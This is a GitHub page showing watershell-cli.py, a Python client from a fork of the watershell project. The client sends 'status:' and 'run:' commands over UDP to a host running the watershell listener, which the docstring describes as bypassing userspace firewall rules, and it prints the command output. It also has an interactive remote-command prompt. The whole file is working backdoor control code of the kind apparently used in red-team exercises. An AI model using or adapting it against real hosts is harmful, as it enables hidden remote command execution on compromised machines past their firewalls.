forked from wumb0/watershell
-
Notifications
You must be signed in to change notification settings - Fork 1
/
watershell-cli.py
executable file
·131 lines (112 loc) · 3.58 KB
/
watershell-cli.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/env python3
"""
Watershell client; a script to easily send commands over UDP to a host running
the watershell listening binary. The watershell will be listening for UDP data
on a lower level of the network stack to bypass userspace firewall rules.
"""
import argparse
import socket
import time
import sys
def recv_timeout(the_socket, timeout=4):
"""
Attempt to listen for data until the specified timeout is reached.
Returns:
str - Data received over socket
"""
# make socket non blocking
the_socket.setblocking(0)
# total data partwise in an array
total_data = []
data = ''
# beginning time
begin = time.time()
while True:
# if you got some data, then break after timeout
if total_data and time.time()-begin > timeout:
break
# if weve waited longer than the timeout, break
elif time.time()-begin > timeout:
break
# recv something
try:
data = the_socket.recv(8192)
if data:
total_data.append(data.decode())
# change the beginning time for measurement
begin = time.time()
else:
# sleep for sometime to indicate a gap
time.sleep(0.1)
except BaseException as exc:
pass
# join all parts to make final string
return ''.join(total_data)
def declare_args():
"""
Function to declare arguments that are acceptable to watershel-cli.py
"""
parser = argparse.ArgumentParser(
description="Watershell client to send command to host with watershell listening over UDP.")
parser.add_argument(
'-t', '--target',
dest='target',
type=str,
required=True,
help="IP of the target to send UDP message to.")
parser.add_argument(
'-p', '--port',
dest='port',
type=int,
default=52,
help="Port to send UDP message to.")
parser.add_argument(
'-c', '--command',
dest='command',
type=str,
help="One off command to send to listening watershell target")
parser.add_argument(
'-i', '--interactive',
dest='interactive',
action='store_true',
default=False,
help="Interactively send commands to watershell target")
return parser
def execute_cmd_prompt(sock, target):
"""
Interactively prompt user for commands and execute them
"""
while True:
cmd = input("//\\\\watershell//\\\\>> ")
if cmd == 'exit':
break
if len(cmd) > 1:
sock.sendto(("run:"+cmd).encode(), target)
resp = recv_timeout(sock, 4)
print(resp)
def main():
"""
Entry point to watershell-cli.py. Parse arguments supplied by user,
grab the status of the watershell target and then issue commands.
"""
args = declare_args().parse_args()
# Bind source port to send UDP message from
s_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s_socket.bind(("0.0.0.0", 53316))
target = (args.target, args.port)
print("Connecting to Watershell on {}...".format(target))
s_socket.sendto(b'status:', target)
resp = recv_timeout(s_socket, 2)
if resp == "up":
print("Connected!")
else:
print("Connection Failed...")
sys.exit(1)
if args.interactive:
execute_cmd_prompt(s_socket, target)
else:
s_socket.sendto(("run:{}".format(args.command)).encode(), target)
resp = recv_timeout(s_socket, 4)
print(resp)
if __name__ == '__main__':
main()